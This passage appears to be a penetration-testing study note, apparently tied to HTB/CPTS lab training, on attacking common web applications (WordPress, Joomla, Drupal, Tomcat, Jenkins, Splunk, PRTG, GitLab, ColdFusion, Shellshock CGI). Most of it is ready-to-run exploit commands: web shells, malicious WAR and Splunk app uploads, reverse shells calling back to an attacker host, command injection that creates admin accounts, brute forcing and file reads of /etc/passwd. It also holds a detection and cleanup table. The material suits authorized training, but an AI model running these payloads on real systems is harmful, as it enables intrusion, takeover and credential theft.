# 2) mail-masta unauth LFI (no creds needed, plugin dead since 2016 but still found)
curl -s "http://$DOMAIN/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# 3) wpDiscuz CVE-2020-24186 unauth upload RCE
python3 wp_discuz.py -u http://$DOMAIN -p /?p=1
curl -s "http://$DOMAIN/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"
[!warning] Watch out
- Edit an inactive theme’s
404.php, not the live theme — you won’t visibly break the site, and the shell still executes on direct request.- Use a non-obvious param name (an md5, not
cmd) so a drive-by can’t reuse your shell during the assessment window.- Admin on WordPress is RCE via the Theme Editor — no extra exploit needed once you have creds. Automated scanners miss plugins; always
curl | grepthe source too.
Joomla → Template Customise shell / dir-traversal
What to look for → generator meta = “Joomla!”, /administrator/ login, robots.txt Joomla paths. Login page returns a generic error → no username-enum oracle, brute the known admin account only.
Enumerate / fingerprint version
curl -s http://$DOMAIN/ | grep Joomla
curl -s http://$DOMAIN/administrator/manifests/files/joomla.xml | xmllint --format - # exact <version>
curl -s http://$DOMAIN/plugins/system/cache/cache.xml # fallback version leak
droopescan scan joomla --url http://$DOMAIN/
Exploit / Attack
# brute the admin account (generic-error login = single known user, password list)
python3 joomla-brute.py -u http://$DOMAIN -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
# post-auth: Configuration -> Templates -> protostar -> Customise -> edit error.php
# system($_GET['<md5>']);
curl -s "http://$DOMAIN/templates/protostar/error.php?<md5>=id"
# pre-auth alt (auth'd core dir-trav, Joomla 1.5.0-3.9.4)
python2.7 joomla_dir_trav.py --url "http://$DOMAIN/administrator/" --username admin --password admin --dir /
[!warning] Watch out
- Joomla’s login error is deliberately generic — the WordPress user-enum trick does not work here; brute
adminwith a password list, not a combined spray.- CVE-2019-10945 can delete directories — file deletion is destructive, avoid on a live engagement.
Drupal → PHP Filter / backdoored module / Drupalgeddon
What to look for → “Powered by Drupal”, /node/<id> URIs, CHANGELOG.txt. Admin RCE is not a one-click theme editor here — it needs the PHP Filter module or a backdoored module upload.
Enumerate
curl -s http://$DOMAIN | grep -i Drupal
curl -s http://$DOMAIN/CHANGELOG.txt | grep -m2 "" # newer Drupal blocks this by default
droopescan scan drupal -u http://$DOMAIN # best-maintained scanner for Drupal modules+version
Exploit / Attack
# Drupal 7: Modules -> enable "PHP filter" -> Add content -> Basic page (Text format: PHP code):
# <?php system($_GET['<md5>']); ?>
curl -s "http://$DOMAIN/node/3?<md5>=id"
# Drupal 8+: PHP filter removed from core -> download+install manually, then identical
# any version: bundle shell.php + .htaccess (re-enable /modules access) into a real module tarball, upload via Extend
curl -s "http://$DOMAIN/modules/captcha/shell.php?<md5>=id"
# pre-auth SQLi -> rogue admin (Drupalgeddon, 7.0-7.31)
python2.7 drupalgeddon.py -t http://$DOMAIN -u hacker -p pwnd
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; set RHOSTS $IP; run" # cleaner
# pre-auth RCE (Drupalgeddon2, <7.58/<8.5.1) — patch PoC to drop a base64 PHP shell instead of hello.txt
python3 drupalgeddon2.py && curl "http://$DOMAIN/mrb3n.php?<md5>=id"
# authenticated RCE (Drupalgeddon3, needs a session cookie w/ node-delete rights)
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon3; set RHOSTS $IP; set VHOST $DOMAIN; set DRUPAL_SESSION <SESS..=..>; set DRUPAL_NODE 1; set LHOST $LHOST; run"
[!warning] Watch out
- A
404onCHANGELOG.txtdoes not rule out Drupal (newer installs block it) — fall back to droopescan.- Drupalgeddon3 needs a valid
drupal_sessioncookie and node-delete permission on the referencedDRUPAL_NODE.- PoC scripts are Python 2 / EOL — prefer the Metasploit modules to avoid a legacy interpreter.
Tomcat → /manager WAR deploy (msfvenom war)
What to look for → Server: Apache Tomcat, /docs default page, /manager + /host-manager (302), AJP on :8009. WAR deploy needs the manager-gui/manager-script role.
Enumerate
curl -s http://$IP:8080/docs/ | grep Tomcat # version via /docs or Server header
feroxbuster -u http://$IP:8080/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
# brute manager (msf ships tomcat_mgr_default wordlists: tomcat:tomcat, admin:admin, tomcat:s3cret...)
msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS $IP; set RPORT 8080; set stop_on_success true; run"
Exploit / Attack
# hand-rolled: WAR = zip. wrap the staged JSP web shell (attachments/rp-shell.jsp), deploy via Manager GUI
cp attachments/rp-shell.jsp cmd.jsp
zip -r backup.war cmd.jsp
# Manager -> Browse backup.war -> Deploy
curl "http://$IP:8080/backup/cmd.jsp?cmd=id"
# interactive: msfvenom reverse-shell WAR (skip the web shell)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war
# or fully automate deploy+shell once creds are known:
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS $IP; set RPORT 8080; set HttpUsername tomcat; set HttpPassword admin; set LHOST $LHOST; run"
# Ghostcat unauth AJP LFI (Tomcat <9.0.31/8.5.51/7.0.100) — reads files UNDER webapps/ only
python2.7 tomcat-ajp.lfi.py $IP -p 8009 -f WEB-INF/web.xml
# CVE-2019-0232 CGI cmd-inject (Windows Tomcat, enableCmdLineArguments) — URL-encode : and \
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://$IP:8080/cgi/FUZZ.bat
curl "http://$IP:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe"
[!warning] Watch out
- Deployed WAR app lives at
/<archive-name-without-.war>/— miss that and you’ll 404 your own shell. Undeploy it after use.- Manager creds go as HTTP Basic (
Authorization: Basic <b64 user:pass>) —echo <b64> | base64 -dto read them off the wire.- Ghostcat is scoped to
webapps/— it’s config/route leakage (WEB-INF/web.xml), not arbitrary filesystem read.
Jenkins → Groovy Script Console RCE
What to look for → Jenkins login page on :8080, /script console. Check anonymous read/build first — misconfigured anon JOB-create/BUILD rights is more common than a legacy CVE.
Enumerate
curl -s http://$IP:8080/login | grep -i jenkins
# /script is reachable once authenticated (even weakly) OR if anon perms are misconfigured
Exploit / Attack — Manage Jenkins → Script Console, paste Groovy
// run a single command
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'id'.execute()
proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000); println sout
// reverse shell (Linux) — raw process array avoids Groovy quoting hell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/$LHOST/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
// Windows
println("cmd.exe /c dir".execute().text)
nc -lvnp 8443
[!warning] Watch out
- Jenkins commonly runs as
root/SYSTEM→ this console shell is an immediate privileged foothold, no local priv-esc.- The chained CVE-2018-1999002 + CVE-2019-1003000 sandbox-bypass pre-auth RCE was fixed by LTS 2.303.1 — confirm the version before relying on it; treat as historical.
Splunk → custom app scripted-input reverse shell
What to look for → Splunkd httpd on :8000 (web) + :8089 (mgmt). No CVE needed — abuse built-in scripted inputs. Expired Enterprise trial silently drops to auth-free Free edition after 60 days.
Enumerate
nmap -sV -p 8000,8089 $IP # both "Splunkd httpd" = definitive
# try admin:changeme (older default, shown on login page), then admin/Welcome1/Password123
Exploit / Attack — build & upload a malicious app
mkdir -p splunk_shell/bin splunk_shell/default
# default/inputs.conf (interval is MANDATORY or it never fires)
cat > splunk_shell/default/inputs.conf <<'EOF'
[script://./bin/rev.py]
disabled = 0
sourcetype = shell
interval = 10
EOF
# bin/rev.py (Linux — every full Splunk ships Python) OR run.bat+.ps1 for Windows:
# PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
tar -cvzf updater.tar.gz splunk_shell/
nc -lvnp 443
# Manage Apps -> Install app from file -> updater.tar.gz -> Upload (fires within `interval` s)
[!warning] Watch out
- App is enabled the instant it uploads — listener up first. Shell runs as the Splunk service account (often
SYSTEM/root).- Compromised deployment server? Drop the app in
$SPLUNK_HOME/etc/deployment-apps→ RCE on every Universal Forwarder that checks in. Forwarders lack Python → use a PowerShell scripted input in a Windows fleet.
PRTG → CVE-2018-9276 notification command injection
What to look for → Indy httpd … Paessler PRTG bandwidth monitor on :8080. Default prtgadmin:prtgadmin is often pre-filled and unchanged. Vulnerable < 18.2.39.
Enumerate
nmap -sV -p- --open -T4 $IP
curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep -i version
Exploit / Attack (authenticated, blind)
Setup -> Account Settings -> Notifications -> Add new notification
Tick EXECUTE PROGRAM
Program File: Demo exe notification - outfile.ps1
Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
Save -> click Test
# confirm out-of-band (blind inject = no UI feedback)
nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin
[!warning] Watch out
- The
Parameterfield is concatenated unsanitised into a PowerShell call — the;chains your command. It’s blind: confirm via a listener or the new admin account, PRTG shows nothing.- Scheduling the notification (vs Test) doubles as persistence. Prefer a reverse shell over
net useron a real engagement to cut footprint.
osTicket / helpdesk → email harvest + credential reuse (methodology)
What to look for → OSTSESSID cookie, “powered by osTicket” footer. Nmap only sees the webserver, not the app. Few CVEs — this is a process attack (the HTB Delivery pattern), applies to Zendesk/Freshdesk/Jira SD too.
Attack chain
1) Submit a support ticket -> you're handed a real company reply-to email (e.g. 1234567@osticket.inlanefreight.local)
2) Use that verified address to self-register on OTHER exposed portals (Mattermost, GitLab, Rocket.Chat)
3) Cross-ref the email domain against breach data:
python3 dehashed.py -q inlanefreight.local -p
4) Try leaked creds on the portal login (email AND username — kevin@… may work where kgrimes doesn't)
5) Read closed tickets: password resets, VPN issues, "standard new-joiner password" -> spray other services
[!tip] Address-book export = ready-made spray list Export the helpdesk contact/address book in full — it’s a validated username/email list. Build spray targets from employee names with
linkedin2username. A “standard new joiner password” mentioned in a ticket is a strong spray candidate if policy doesn’t force a change at first login.
GitLab → self-register → repo secrets / ExifTool RCE
What to look for → GitLab login/logo; /explore lists public projects with no auth; version only shows on /help post-auth. Highest-value first check: is self-registration on?
Enumerate
# public source/secrets before you even have an account
curl -s http://$IP:8081/explore
# username enum via registration oracle ("Email has already been taken") — works even if signup is disabled
./gitlab_userenum.sh --url http://$IP:8081/ --userlist users.txt # or the maintained py3 port
Exploit / Attack
# register (hacker:Welcome1) -> browse /explore for internal projects -> mine repos/commits/snippets for:
# hardcoded creds, committed SSH private keys, infra config
# authenticated RCE, CE <= 13.10.2 (ExifTool image-metadata parsing) -> shell as git
python3 gitlab_13_10_2_rce.py -t http://$IP:8081 -u mrb3n -p password1 \
-c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 8443 >/tmp/f'
nc -lvnp 8443
[!warning] Watch out
- GitLab lockout = 10 failed attempts, 10-min auto-unlock, not UI-configurable — pace credential attacks across the user list to avoid locking real accounts.
- Confirm the exact CE/EE build: CVE-2021-22205 is the unauth ExifTool RCE in a slightly later range — different exploit, different version gate.
ColdFusion → dir-traversal creds / FCKeditor unauth RCE
What to look for → port :8500, .cfm/.cfc extensions, /CFIDE/administrator/, Server: ColdFusion/X-Powered-By: ColdFusion. Both CVEs are CF 8/9-era.
Enumerate
nmap -p- -sC -Pn $IP --open # 8500/tcp fmtp + CFIDE/cfdocs in webroot = ColdFusion
# browse http://$IP:8500/CFIDE/administrator -> version in page title/source
searchsploit adobe coldfusion
Exploit / Attack
# CVE-2010-2861 dir-trav (<=9.0.1) -> leak encrypted datasource creds
python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
# CVE-2009-2265 FCKeditor unauth file-upload RCE (<=8.0.1) -> JSP payload, ColdFusion-service shell
python3 50057.py # sets lhost/lport/rhost/rport, uploads JSP, triggers, self-cleans
[!warning] Watch out
password.propertiesvalues are encrypted, not plaintext — still high-value (every datasource: DB, mail, LDAP), but you’ll need to crack/decrypt.- FCKeditor connector path:
/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm— check it on any legacy CF regardless of the CVE number.
CGI / Shellshock (CVE-2014-6271) → User-Agent RCE
What to look for → a cgi-bin/ dir with .cgi/.sh/.pl scripts. A 200 with zero-length body is still worth testing. Persists on embedded/IoT gear.
Enumerate
feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi,sh,pl
# local bash sanity check for the bug shape:
env y='() { :;}; echo vuln' bash -c "echo test" # prints 'vuln' on a vulnerable bash
Exploit / Attack — inject via the User-Agent header
# confirm (two echoes = clean HTTP separator before output)
curl -H 'User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd' http://$IP/cgi-bin/access.cgi
# reverse shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/7777 0>&1' http://$IP/cgi-bin/access.cgi
nc -lvnp 7777
[!warning] Watch out
- Any header CGI maps into an env var is an injection point —
User-Agentis classic, butRefererandCookiework too.- Patched bash prefixes function definitions with
BASH_FUNC_, breaking the exploit — one request confirms/denies, cheap to test on everycgi-bin.
IIS short-name (~) tilde enumeration
What to look for → Microsoft IIS httpd (7.5/8.x era). Vulnerability depends on config, not just version — always run the scanner’s own check. Turns “guess the full filename” into “reconstruct 8 chars at a time”.
Enumerate → recover
nmap -p- -sV -sC --open $IP # confirm IIS
java -jar iis_shortname_scanner.jar 0 5 http://$IP/ # reports Vulnerable + partial names (TRANSF~1.ASP)
# build a targeted wordlist from the partial short name, then fuzz full name + real extension
egrep -rh '^transf' /usr/share/wordlists/* | sort -u > /tmp/list.txt
feroxbuster -u http://$IP/ -w /tmp/list.txt -t 50 -x aspx,asp
[!tip] Why it’s worth the setup Some recovered names resolve whole (
CSASPX~1.CS); others (TRANSF~1.ASP) only give a 6-char prefix + extension — the wordlist-narrowing pass recovers the rest. It’s the difference between brute-forcing every filename vs only words startingtransf. Needs Oracle Java for the.jar; the0 5args tune threads (Enter to skip proxy).
LDAP-backed login → wildcard injection + mass assignment
What to look for → 389/636 open beside a web login form = likely LDAP-backed auth (not a SQL user table). Injection mirrors SQLi: * = any-chars, () group, &/| logic.
Enumerate
nmap -p- -sC -sV --open --min-rate=1000 $IP # 389 ldap OpenLDAP next to 80 http = strong signal
# query directly if you have a bind DN:
ldapsearch -H ldap://$IP:389 -D "cn=admin,dc=example,dc=com" -w secret -b "dc=example,dc=com" "(objectClass=*)"
Exploit / Attack
# LDAP injection auth-bypass — filter (&(objectClass=user)(sAMAccountName=$u)(userPassword=$p)) becomes all-true
Username: *
Password: *
# Mass assignment — add a field the form never exposed to flip a privilege/approval flag
POST /register
username=new&password=test&confirmed=test # existence-only check -> bypass admin approval
# Rails equivalent: smuggle user[admin]=true into the params hash the controller doesn't strip
[!warning] Watch out
- Both are best confirmed by reading source — black-box guessing is far less reliable. Look for
include()-style string concat into the LDAP filter, orattr_accessible/over-broadpermit!in Rails.- LDAP special chars that don’t URL-encode cleanly can break the filter — test
*alone first, then build up(cn=*)/(objectClass=*).
🧩 More Web Classes — PDF-Renderer SSRF · Thick Clients · Mass-Assignment · Helpdesk OSINT
The CPTS/AEN web classes the automated scanners miss. Each is a distinct pattern worth recognising on sight.
Server-side HTML→PDF renderer → SSRF / local file read
What to look for → a feature that renders your input into a server-generated PDF/preview (invoices, tracking numbers, reports). If a wkhtmltopdf-class engine parses HTML and executes JS server-side, your input runs on the renderer host — not the victim’s browser (distinct from stored XSS).
Exploit — prove it in stages
<h1>test</h1> <!-- 1. HTML parsed? -->
<script>document.write('JS-EXECUTED')</script> <!-- 2. JS runs on the server's PDF worker? -->
<script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd',false);x.send();document.write(x.responseText)</script>
<script>x=new XMLHttpRequest();x.open('GET','http://127.0.0.1:8080/',false);x.send();document.write(x.responseText)</script> <!-- internal SSRF -->
[!warning] Watch out — code executes in the server’s PDF worker, so
file://reads server files andhttp://127.0.0.1hits internal services. Full staged PoC: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet.
Thick-client / fat-client apps (binary RE for creds)
What to look for → a downloadable .exe/.jar desktop client. Framework first (file client.exe, PE header, .NET,Version=v4.0 string), then decompile — hardcoded creds / DB connection strings are the payoff (the Multimaster pattern).
file thickclient.exe; strings64 thickclient.exe | grep -iE 'password|connectionstring|server='
# .NET → dnSpyEx (maintained dnSpy fork) + de4dot to deobfuscate; IL decompiles to near-original C#
# Java → jd-gui / jadx-gui client.jar ; patch a class → javac -cp client.jar Patched.java
# runtime: Sysinternals Procmon (file/registry), Frida (hook without full static), Wireshark/Burp on the TCP channel
[!tip] Three-tier thick clients still hit a backend DB directly → test the extracted connection for SQLi and path traversal. Deep dives: 12 - Attacking Thick Client Applications · 16 - Attacking Applications Connecting to Services.
More app targets + the transferable method
The method IS the payload (works on any product): fingerprint exact version/stack → try default/weak creds → search CVEs for that exact version → and regardless of CVE, abuse legitimate built-in functionality (script consoles, template/theme editors, custom-app upload, “run program” notification actions). Targets beyond the main table:
| App | Quick win |
|---|---|
| Axis2 | default admin → upload malicious .aar service = web shell (Tomcat-WAR analogue) |
| WebSphere | system:manager → deploy WAR → RCE |
| Nagios XI | default nagiosadmin:PASSW0RD; multiple RCE/SQLi CVEs |
| Zabbix | built-in API abused for RCE (HTB Zipper) |
| WebLogic | Java-deserialization unauth RCE (190+ CVEs) |
| Elasticsearch | forgotten unauth instance (HTB Haystack) |
| vCenter | CVE-2021-22005 unauth OVA-upload RCE — often runs as SYSTEM/DA |
| DotNetNuke (DNN) | cleartext admin creds in web.config → SQL-console RCE |
Deep dive: 17 - Other Notable Applications and Application Hardening.
Helpdesk / ticketing OSINT chain (osTicket-style)
What to look for → a support portal (OSTSESSID cookie, “Powered by osTicket” footer). Not a CVE — a human-error chain: submit a ticket → harvest the real assigned reply-to company email → self-register that verified address on other exposed services (GitLab/Mattermost/Slack) → read closed tickets for password resets / “standard new-joiner password” → export the address book as a username list → controlled spray against VPN/email/AD.
[!tip] Login pages that accept email OR username — try both (
kevin@corp.localsucceeded wherekgrimesfailed). This is the HTB Delivery pattern; generalises to Zendesk/Freshdesk/Jira Service Desk. Deep dive: 9 - Attacking osTicket.
Mass-assignment / autobinding parameter tampering
What to look for → a framework that blanket-binds the whole request body to a model. Add parameters that were never on the form so it sets fields it shouldn’t.
POST /register username=me&password=x&confirmed=1 # bypasses admin-approval (key present = enough)
POST /register username=me&password=x&role=admin # or is_admin=1 / credit=
user[admin]=true # Rails-style nested param hash
[!tip] Find candidate fields by reading responses/JSON and reflecting them back into write requests. Deep dive: 15 - LDAP and Web Mass Assignment Vulnerabilities.
🥷 Detection & OPSEC summary (per technique)
| Technique | What defenders see | Mitigation / cleanup |
|---|---|---|
| ffuf/feroxbuster/gobuster | thousands of 404s, scanner UA, request-rate anomaly | tune -t/-rate, -H UA spoof, scope wordlists; expected noise on labs |
| nikto | its UA and /nikto-test-style probes are signatured | spoof -useragent, narrow -Tuning |
| nuclei | template paths + OAST callbacks to public interact servers | -rl rate-limit, -ni on isolated nets, scope tags/severity |
| sqlmap | sqlmap/x.x UA, long UNION/time payloads in logs, --risk=3 may modify data | --random-agent, lowest working level/risk, never --os-shell without authorization to touch disk |
| hydra/medusa | auth-failure bursts, account lockouts, SIEM impossible-travel | spray breadth-first, throttle, -f stop-on-success |
| file upload | new file in webroot (FIM tripwire), AV/EDR webshell signatures | random name, obfuscated param, delete when done |
| webshell use | requests to a never-linked path; cmd= in logs | password-gate, POST over GET, HTTPS target preferred, remove artifact |
| log/session poisoning | your PHP payload written into access.log / session files | last-resort technique; poisoned logs persist — note it in the report |
| SSRF/gopher/OOB | egress to internal services and attacker infra | use only your own callback infra; document every internal host touched |
| XSS cookie theft | outbound request from victim browser to your collector | HTTPS collector on HTTPS targets; the callback domain is in the victim’s browser log |
[!warning] Reporting duty Every webshell, poisoned log, created account (PRTG
net user, Drupal rogue admin) and uploaded file is an artifact you must list in the report and remove. The vault’s reporting toolchain notes live in 00 - Attack Flow Dashboard; webshell removal and transfer cleanup pair with 04 - Foothold Toolkit - File Transfers and 05 - Foothold Toolkit - Shells Payloads and Metasploit.
MITRE ATT&CK anchors used in this note: TA0043 Recon (T1595.002) · T1190 Exploit Public-Facing Application · T1078 Valid Accounts (default creds) · T1110 Brute Force · T1552 Unsecured Credentials (source leaks) · T1059 Command and Scripting Interpreter (webshells) · T1505.003 Web Shell.
[!navigation] Continue the attack flow Previous: Stage 01 — Recon and Host Discovery
Dashboard: HTB Pentest Attack Flow